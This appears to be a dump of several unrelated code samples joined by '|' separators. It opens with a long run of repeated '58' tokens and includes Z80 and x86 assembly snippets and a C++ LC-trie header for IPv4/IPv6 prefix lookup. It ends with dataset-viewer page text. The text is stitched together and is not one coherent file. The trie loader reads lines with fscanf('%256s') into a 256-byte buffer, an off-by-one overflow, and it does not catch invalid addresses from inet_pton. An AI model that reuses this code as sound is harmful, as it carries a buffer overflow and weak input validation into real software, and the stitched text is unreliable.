58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
; void *p_list_pop_front(p_list_t *list)
SECTION code_adt_p_list
PUBLIC p_list_pop_front
p_list_pop_front:
INCLUDE "adt/p_list/z80/asm_p_list_pop_front.asm"
|
;an x86 assembly language program: call a function
data_seg segment
C DW 0H
ends
stack_seg segment
ST DB 100DUP(0)
TOP EQU 100
ends
code_seg segment
assume cs:code_seg, ds:data_seg, ss:stack_seg
start:
MOV AX, data_seg
MOV DS, AX
MOV AX, stack_seg
MOV SS, AX
MOV SP, TOP
MOV BX, 5
PUSH 9
PUSH 7
CALL compute
ADD BX, AX
MOV C, BX
mov ax, 4c00h
int 21h
compute proc near
PUSH BX
PUSH DX
PUSH SI
MOV SI, SP
MOV AX, SS:[SI + 10]
MOV BX, 10
MUL BX
ADD AX, SS:[SI + 8]
POP SI
POP DX
POP BX
RET
compute endp
ends
end start
|
; size_t strrcspn(const char *str, const char *cset)
SECTION code_clib
SECTION code_string
PUBLIC strrcspn
EXTERN asm_strrcspn
strrcspn:
pop af
pop de
pop hl
push hl
push de
push af
jp asm_strrcspn
|
/*
Copyright 2008-2012 Kristopher R Beevers and Internap Network
Services Corporation.
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation files
(the "Software"), to deal in the Software without restriction,
including without limitation the rights to use, copy, modify, merge,
publish, distribute, sublicense, and/or sell copies of the Software,
and to permit persons to whom the Software is furnished to do so,
subject to the following conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
/*
Simple level compressed trie (LC-Trie), which only allows set
membership queries. This class is mainly meant for use with IP
prefix lists. Template parameter IPType will generally be one of
the types defined here: ipv4 or ipv6.
This algorithm is implemented as described in: S. Nilsson and
G. Karlsson. Fast address lookup for Internet routers. In
Proc. IFIP 4th International Conference on Broadband Communications,
pp 11-22, 1998. This code is based in part on S. Nilsson's code at
http://www.csc.kth.se/~snilsson/software/router/C/
Each LC trie is able to store up to 512K prefixes.
*/
#ifndef _KRB_LC_TRIE
#define _KRB_LC_TRIE
#include <inttypes.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <vector>
#include <fstream>
#include <sstream>
#include <typeinfo>
#include <boost/serialization/string.hpp>
#include <boost/serialization/vector.hpp>
#include <boost/archive/binary_oarchive.hpp>
#include <boost/archive/binary_iarchive.hpp>
#include <boost/iostreams/filtering_stream.hpp>
#include <boost/iostreams/filter/gzip.hpp>
/* first we'll define types and operators for IPv4 and IPv6 */
typedef uint32_t ipv4;
struct ipv6
{
uint64_t hi;
uint64_t lo;
private:
friend class boost::serialization::access;
template <class Archive>
void serialize(Archive &ar, const unsigned int version)
{
ar & hi;
ar & lo;
}
};
// various LC-trie related operators for ipv4 and ipv6, all
// implemented below
template <class IPType>
bool strtoip(const char *str, IPType *out);
ipv4 EXTRACT(int p, int n, ipv4 str);
ipv4 REMOVE(int p, ipv4 str);
bool operator<(const ipv6 &a, const ipv6 &b);
bool operator>(const ipv6 &a, const ipv6 &b);
bool operator==(const ipv6 &a, const ipv6 &b);
bool operator==(const ipv6 &ip, uint32_t i);
ipv6 operator^(const ipv6 &a, const ipv6 &b);
uint32_t operator+(uint32_t i, const ipv6 &ip);
ipv6 EXTRACT(int p, int n, ipv6 str);
ipv6 REMOVE(int p, ipv6 str);
/* next up, the lc_trie templated class */
template <class IPType, uint32_t adrsize = 8*sizeof(IPType)>
class lc_trie
{
protected:
// trie node
typedef uint32_t node_t;
// methods to get/set chunks of bits from a 32-bit node. we use the
// first 5 bits for the branching factor; the next 7 bits for the
// skip value; and the last 20 bits for the address. this allows us
// to store up to 512k prefixes.
node_t SETBRANCH(node_t branch) { return branch << 27; }
node_t GETBRANCH(node_t n) const { return n >> 27; }
node_t SETSKIP(node_t skip) { return skip << 20; }
node_t GETSKIP(node_t n) const { return n >> 20 & 127; }
node_t SETADR(node_t adr) { return adr; }
node_t GETADR(node_t n) const { return n & 1048575; }
// base vector
struct base_t
{
IPType str; // the routing entry
int len; // its length
private:
friend class boost::serialization::access;
template <class Archive>
void serialize(Archive &ar, const unsigned int version)
{
ar & str;
ar & len;
}
};
// core LC-trie data structure: a trie and a base vector. we do not
// need a prefix vector as in the general LC-trie implementation, as
// stated above.
// main trie search structure
std::vector<node_t> trie;
// base vector containing the actual entry strings
std::vector<base_t> base;
// compilation parameters
double comp_fill_factor;
int comp_root_branching_factor;
// cached statistics string
std::string cached_stats;
// serialization method for boost's serialization library; save/load
// the trie and base vector to a serialized archival format, e.g.,
// for storage/loading from disk
friend class boost::serialization::access;
template <class Archive>
void serialize(Archive &ar, const unsigned int version)
{
ar & trie;
ar & base;
ar & comp_fill_factor;
ar & comp_root_branching_factor;
ar & cached_stats;
}
public:
// a string for insertion into our trie consists of an IP, followed
// by the length (in bits) of the prefix represented by that string.
// for example, ipv4 123.456.0.0/16 becomes the uint32_t
// representation of 123.456.0.0, and the length is 16 bits.
typedef base_t input_string_t;
protected:
// compare two input strings
struct comparator_t
{
int strcmp(const input_string_t &a, const input_string_t &b) const;
bool operator()(const input_string_t &a, const input_string_t &b) const;
};
// is a a prefix of b?
bool isprefix(input_string_t &a, input_string_t &b) const;
// compute the branch and skip values for the root of the tree that
// covers the base array from position 'first' to 'first+n+1'.
// disregard the first 'prefix' characters. assumptions:
// 1. n >= 2
// 2. base[first] != base[first+n-1]
void compute_branch
(std::vector<base_t> &base,
int prefix, int first, int n,
int *branch, int *newprefix) const;
// recursively build a tree that covers the base array from position
// 'first' to 'first+n-1'. disregard the first 'prefix' characters
// of the strings. 'pos' is the position for the root of this tree,
// and 'nextfree' is the first position in the trie vector that
// hasn't yet been reserved.
void build_recursive
(std::vector<node_t> &tree,
std::vector<base_t> &base,
int prefix, int first, int n, int pos, int *nextfree);
void traverse
(const std::vector<node_t> &t,
node_t r,
int depth, int *totdepth, int *maxdepth) const;
public:
lc_trie(double fill_factor = 0.5, int root_branching_factor = 0)
: comp_fill_factor(fill_factor),
comp_root_branching_factor(root_branching_factor) {}
// compile the LC-trie from a vector of input strings (IP addresses
// + prefix lengths in bits); note that the input vector will be
// modified
bool build(std::vector<input_string_t> &strings);
// search for ip in the trie; returns true if ip falls within one of
// the prefixes represented by the trie
bool search(const IPType &ip) const;
// methods to save and load compiled LC-tries to binary files using
// boost's serialization library
bool save(const char *filename) const;
bool load(const char *filename);
// return some stats about the trie in a string
void stats(std::string &out);
};
/* functions to load plaintext files of CIDR-formatted prefixes into
ipv4 or ipv6 LC-tries. the files must have one prefix per line, in
the following format:
ipv4: iii.iii.iii.iii/cidr (e.g., 123.456.0.0/16)
ipv6: aaaa:bbbb:cccc:dddd:eeee:ffff:gggg:hhhh/cidr
or
aaaa:...::.../cidr where :: represents zeros
(e.g., 2001:4c40:1::/48 or
2001:1598:1:6667:a00:20ff:fec0::/112)
the CIDR bits may be left off in which case the prefix is treated
as a /32 (ipv4) or /128 (ipv6). basically anything handled by
inet_pton is acceptable.
avoid whitespace or any other characters in the file. there are no
comment characters.
*/
template <class IPType, uint32_t adrsize>
bool compile_lc_trie(const char *filename, lc_trie<IPType, adrsize> &trie);
//////////////////////////////////////////////////////////////////////
// implementation details: lc_trie class
//////////////////////////////////////////////////////////////////////
template <class IPType, uint32_t adrsize>
int lc_trie<IPType, adrsize>::comparator_t::strcmp
(const lc_trie<IPType, adrsize>::input_string_t &a,
const lc_trie<IPType, adrsize>::input_string_t &b) const
{
if(a.str < b.str)
return -1;
else if(a.str > b.str)
return 1;
else if(a.len < b.len)
return -1;
else if(a.len > b.len)
return 1;
else
return 0;
}
template <class IPType, uint32_t adrsize>
bool lc_trie<IPType, adrsize>::comparator_t::operator()
(const lc_trie<IPType, adrsize>::input_string_t &a,
const lc_trie<IPType, adrsize>::input_string_t &b) const
{
return (strcmp(a, b) < 0);
}
template <class IPType, uint32_t adrsize>
bool lc_trie<IPType, adrsize>::isprefix
(lc_trie<IPType, adrsize>::input_string_t &a,
lc_trie<IPType, adrsize>::input_string_t &b) const
{
return (a.len == 0 ||
(a.len <= b.len &&
EXTRACT(0, a.len, a.str) ==
EXTRACT(0, a.len, b.str)));
}
template <class IPType, uint32_t adrsize>
void lc_trie<IPType, adrsize>::compute_branch
(std::vector<lc_trie<IPType, adrsize>::base_t> &base,
int prefix, int first, int n,
int *branch, int *newprefix) const
{
IPType low, high;
int i, b, count;
uint32_t pat;
bool patfound;
// compute the new prefix
high = REMOVE(prefix, base[first].str);
low = REMOVE(prefix, base[first+n-1].str);
i = prefix;
while(EXTRACT(i, 1, low) == EXTRACT(i, 1, high))
++i;
*newprefix = i;
// always use branching factor 2 for two elements
if(n == 2) {
*branch = 1;
return;
}
// use a user-specified (usually large, e.g. 16) branching factor at
// the root if given one
if(comp_root_branching_factor > 0 && prefix == 0 && first == 0) {
*branch = comp_root_branching_factor;
return;
}
// compute the number of bits that can be used for branching. we
// have at least two branches. so, we start the search at 2^b = 4
// branches.
b = 1;
do {
++b;
if(n < comp_fill_factor * (1<<b) || (uint32_t)(*newprefix+b) > adrsize)
break;
i = first;
pat = 0;
count = 0;
while(pat < (uint32_t)(1<<b)) {
patfound = false;
while(i < first+n &&
EXTRACT(*newprefix, b, base[i].str) == pat) {
++i;
patfound = true;
}
if(patfound)
++count;
++pat;
}
} while(count >= comp_fill_factor*(1<<b));
*branch = b-1;
}
template <class IPType, uint32_t adrsize>
void lc_trie<IPType, adrsize>::build_recursive
(std::vector<lc_trie<IPType, adrsize>::node_t> &tree,
std::vector<lc_trie<IPType, adrsize>::base_t> &base,
int prefix, int first, int n, int pos, int *nextfree)
{
int branch, newprefix;
int k, p, adr, bits;
uint32_t bitpat;
if(n == 1) {
tree[pos] = first; // branch and skip are 0
return;
}
compute_branch(base, prefix, first, n, &branch, &newprefix);
adr = *nextfree;
tree[pos] = SETBRANCH(branch) |
SETSKIP(newprefix - prefix) |
SETADR(adr);
*nextfree += 1 << branch;
p = first;
// build the subtrees
for(bitpat = 0; bitpat < (uint32_t)(1<<branch); ++bitpat) {
k = 0;
while(p+k < first+n &&
EXTRACT(newprefix, branch, base[p+k].str) == bitpat)
++k;
if(k == 0) {
if(p == first+n)
build_recursive(tree, base, newprefix+branch, p-1, 1, adr+bitpat, nextfree);
else
build_recursive(tree, base, newprefix+branch, p, 1, adr+bitpat, nextfree);
} else if(k == 1 && base[p].len - newprefix < branch) {
uint32_t i;
bits = branch + newprefix - base[p].len;
for(i = bitpat; i < bitpat + (1<<bits); ++i)
build_recursive(tree, base, newprefix+branch, p, 1, adr+i, nextfree);
bitpat += (1 << bits) -1;
} else
build_recursive(tree, base, newprefix+branch, p, k, adr+bitpat, nextfree);
p += k;
}
}
template <class IPType, uint32_t adrsize>
bool lc_trie<IPType, adrsize>::build
(std::vector<lc_trie<IPType, adrsize>::input_string_t> &strings)
{
// too many strings for our LC-trie to handle
if(strings.size() > (1<<19))
return false;
// aux variables
int nextfree = 1;
// first, sort the prefixes
comparator_t comp;
std::sort(strings.begin(), strings.end(), comp);
// next, remove duplicates
base.push_back(strings[0]);
for(uint32_t i = 1; i < strings.size(); ++i)
if(comp.strcmp(strings[i-1], strings[i]) != 0)
base.push_back(strings[i]);
// at this point if we really wanted to condense everything down to
// a minimal size we could eliminate all entries that are prefixed
// by other entries, keeping only the most general strings in our
// base vector. however, doing so is expensive and in practice we
// can just expect the input prefix lists to already be the most
// general prefixes only.
// 'base' is now the final set of inputs to our trie construction
// algorithm; prepare initial trie and base vector. we know that
// the number of internal nodes in the tree can't be larger than the
// number of strings
trie.resize(2 * base.size() + 2000000);
// now compile the trie
build_recursive(trie, base, 0, 0, base.size(), 0, &nextfree);
// we now know the exact size of the trie; get rid of unused memory
trie.resize(nextfree);
// clear the cached stats string just in case
cached_stats.clear();
return true;
}
template <class IPType, uint32_t adrsize>
bool lc_trie<IPType, adrsize>::search(const IPType &ip) const
{
node_t node;
int pos, branch, adr;
IPType bitmask;
if(trie.empty())
return false;
// traverse the trie
node = trie[0];
pos = GETSKIP(node);
branch = GETBRANCH(node);
adr = GETADR(node);
while(branch != 0) {
node = trie[adr + EXTRACT(pos, branch, ip)];
pos += branch + GETSKIP(node);
branch = GETBRANCH(node);
adr = GETADR(node);
}
// was this a hit?
bitmask = base[adr].str ^ ip;
return (EXTRACT(0, base[adr].len, bitmask) == 0);
}
template <class IPType, uint32_t adrsize>
bool lc_trie<IPType, adrsize>::save(const char *filename) const
{
std::ofstream ofs(filename, std::ios::out|std::ios::binary);
if(ofs.fail())
return false;
// add a compression filter
boost::iostreams::filtering_ostream ocfs;
ocfs.push(boost::iostreams::gzip_compressor());
ocfs.push(ofs);
// serialize through the filter
boost::archive::binary_oarchive oa(ocfs);
oa << *this;
return !ofs.fail();
}
template <class IPType, uint32_t adrsize>
bool lc_trie<IPType, adrsize>::load(const char *filename)
{
std::ifstream ifs(filename, std::ios::in|std::ios::binary);
if(ifs.fail())
return false;
// add a decompression filter
boost::iostreams::filtering_istream icfs;
icfs.push(boost::iostreams::gzip_decompressor());
icfs.push(ifs);
// unserialize through the filter
boost::archive::binary_iarchive ia(icfs);
ia >> *this;
return !ifs.fail();
}
template <class IPType, uint32_t adrsize>
void lc_trie<IPType, adrsize>::traverse
(const std::vector<lc_trie<IPType, adrsize>::node_t> &t,
lc_trie<IPType, adrsize>::node_t r,
int depth, int *totdepth, int *maxdepth) const
{
if(GETBRANCH(r) == 0) {
*totdepth += depth;
if(depth > *maxdepth)
*maxdepth = depth;
} else
for(int i = 0; i < 1<<GETBRANCH(r) && i < (int)t.size(); ++i)
traverse(t, t[GETADR(r)+i], depth+1, totdepth, maxdepth);
}
template <class IPType, uint32_t adrsize>
void lc_trie<IPType, adrsize>::stats(std::string &out)
{
if(!cached_stats.empty()) {
out = cached_stats;
return;
}
uint32_t i;
std::ostringstream o;
if(trie.empty()) {
o << "Empty or not yet compiled";
out = o.str();
return;
}
uint32_t basesz = base.size()*sizeof(base_t),
triesz = trie.size()*sizeof(node_t),
totalsz = basesz + triesz
+ sizeof(comp_fill_factor)
+ sizeof(comp_root_branching_factor);
o << "[N " << base.size() << "] "; // number of strings
// memory usage
o << "[basesz " << basesz
<< " triesz " << triesz
<< " totalsz " << totalsz << "] ";
// compilation parameters
o << "[fill " << comp_fill_factor << " rootbranch ";
if(comp_root_branching_factor == 0)
o << GETBRANCH(trie[0]);
else
o << comp_root_branching_factor << "F";
o << "] ";
// counts of node types (leaves or internal nodes)
int intnodes = 0, leaves = 0;
for(i = 0; i < trie.size(); ++i) {
if(GETBRANCH(trie[i]) == 0)
++leaves;
else
++intnodes;
}
o << "[leaves " << leaves << " internal " << intnodes << "] ";
// max path length to a leaf, and average path length
int totdepth = 0, max = 0;
traverse(trie, trie[0], 0, &totdepth, &max);
o << "[dmax " << max << " davg " << (double)totdepth/leaves << "]";
out = o.str();
// cache the stats string since it won't change until we recompile
// or load a new precompiled trie
cached_stats = out;
}
//////////////////////////////////////////////////////////////////////
// implementation details: ipv4 and ipv6. most of this stuff is small
// and should be inlined by the compiler.
//////////////////////////////////////////////////////////////////////
//// ipv4
template <>
bool strtoip<ipv4>(const char *str, ipv4 *out)
{
uint8_t buf[4];
if(inet_pton(AF_INET, str, buf) < 0)
return false;
*out = (uint32_t)buf[3] |
((uint32_t)buf[2] << 8) |
((uint32_t)buf[1] << 16) |
((uint32_t)buf[0] << 24);
return true;
}
// extract n bits from str starting at position p
inline ipv4 EXTRACT(int p, int n, ipv4 str)
{
return str << p >> (32 - n);
}
// remove the first p bits from string
inline ipv4 REMOVE(int p, ipv4 str)
{
return str << p >> p;
}
//// ipv6
template <>
bool strtoip<ipv6>(const char *str, ipv6 *out)
{
uint8_t buf[16];
if(inet_pton(AF_INET6, str, buf) < 0)
return false;
out->hi = (uint64_t)buf[7] |
((uint64_t)buf[6] << 8) |
((uint64_t)buf[5] << 16) |
((uint64_t)buf[4] << 24) |
((uint64_t)buf[3] << 32) |
((uint64_t)buf[2] << 40) |
((uint64_t)buf[1] << 48) |
((uint64_t)buf[0] << 56);
out->lo = (uint64_t)buf[15] |
((uint64_t)buf[14] << 8) |
((uint64_t)buf[13] << 16) |
((uint64_t)buf[12] << 24) |
((uint64_t)buf[11] << 32) |
((uint64_t)buf[10] << 40) |
((uint64_t)buf[9] << 48) |
((uint64_t)buf[8] << 56);
return true;
}
inline bool operator<(const ipv6 &a, const ipv6 &b)
{
return a.hi < b.hi || (a.hi == b.hi && a.lo < b.lo);
}
inline bool operator>(const ipv6 &a, const ipv6 &b)
{
return a.hi > b.hi || (a.hi == b.hi && a.lo > b.lo);
}
inline bool operator==(const ipv6 &a, const ipv6 &b)
{
return a.hi == b.hi && a.lo == b.lo;
}
inline bool operator==(const ipv6 &ip, uint32_t i)
{
return ip.hi == 0 && ip.lo == i;
}
inline ipv6 operator^(const ipv6 &a, const ipv6 &b)
{
ipv6 out = a;
out.hi ^= b.hi;
out.lo ^= b.lo;
return out;
}
// just drop any bits higher than 32 from ip; this will only be used
// for smaller bit ranges than that anyway
inline uint32_t operator+(uint32_t i, const ipv6 &ip)
{
return i + (uint32_t)(ip.lo << 32 >> 32);
}
// extract n bits from str starting at position p
inline ipv6 EXTRACT(int p, int n, ipv6 str)
{
// FIXME can make this faster by comparing p, n, and skipping some
// of the shifting complications if [p,p+n] doesn't overlap the
// hi/lo boundary
// first leftshift everything p bits
str.hi <<= p;
if(p > 0 && p <= 64) {
// copy the first p bits of lo into the last p bits of hi, and
// shift lo left p bits
str.hi |= str.lo >> (64-p);
str.lo <<= p;
} else if(p > 64) {
// shift lo to the left p-64 bits, copy it to hi, and zero lo
str.hi = str.lo << (p-64);
str.lo = 0;
}
// now rightshift everything 128-n bits, basically the reverse of
// the above
n = 128-n;
str.lo >>= n;
if(n > 0 && n < 64) {
str.lo |= str.hi << (64-n);
str.hi >>= n;
} else if(n > 64) {
str.lo = str.hi >> (n-64);
str.hi = 0;
} else if(n == 64) {
str.lo = str.hi;
str.hi = 0;
}
return str;
}
// remove the first p bits from string
inline ipv6 REMOVE(int p, ipv6 str)
{
if(p > 0) {
if(p <= 64)
str.hi = str.hi << p >> p;
else {
str.hi = 0;
p -= 64;
str.lo = str.lo << p >> p;
}
}
return str;
}
//////////////////////////////////////////////////////////////////////
// implementation details: function to compile plaintext CIDR-format
// files into LC-tries
//////////////////////////////////////////////////////////////////////
template <class IPType, uint32_t adrsize>
bool compile_lc_trie(const char *filename, lc_trie<IPType, adrsize> &trie)
{
// first read in the file
FILE *in = fopen(filename, "rb");
if(!in)
return false;
typename lc_trie<IPType, adrsize>::input_string_t input;
std::vector<typename lc_trie<IPType, adrsize>::input_string_t> input_vector;
char line[256];
char *c;
IPType ip;
int cidr;
while(fscanf(in, "%256s", line) != EOF) {
c = strchr(line, '/');
if(c != NULL) {
*c = 0;
++c;
cidr = atoi(c);
} else
cidr = adrsize;
if(!strtoip<IPType>(line, &ip))
return false;
input.str = ip;
input.len = cidr;
input_vector.push_back(input);
}
fclose(in);
return trie.build(input_vector);
}
#endif // _KRB_LC_TRIE
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.